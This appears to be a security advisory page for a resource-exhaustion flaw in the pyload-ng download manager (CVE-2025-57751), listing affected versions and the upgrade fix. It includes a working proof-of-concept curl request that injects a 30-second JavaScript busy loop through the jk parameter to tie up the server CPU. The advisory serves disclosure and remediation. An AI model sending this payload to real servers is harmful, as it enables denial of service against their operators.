Allocation of Resources Without Limits or Throttling Affecting pyload-ng package, versions [,0.5.0b3.dev92)


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (20th percentile)

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  • Snyk IDSNYK-PYTHON-PYLOADNG-12179281
  • published25 Aug 2025
  • disclosed21 Aug 2025
  • creditcyjhhh

Introduced: 21 Aug 2025

CVE-2025-57751  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade pyload-ng to version 0.5.0b3.dev92 or higher.

Overview

pyload-ng is a The free and open-source Download Manager written in pure Python

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the jk parameter in the CNL Blueprint process. An attacker can cause the server CPU to become fully occupied and render the web interface unresponsive by supplying crafted input to the dukpy.evaljs function.

PoC

curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

References

CVSS Base Scores

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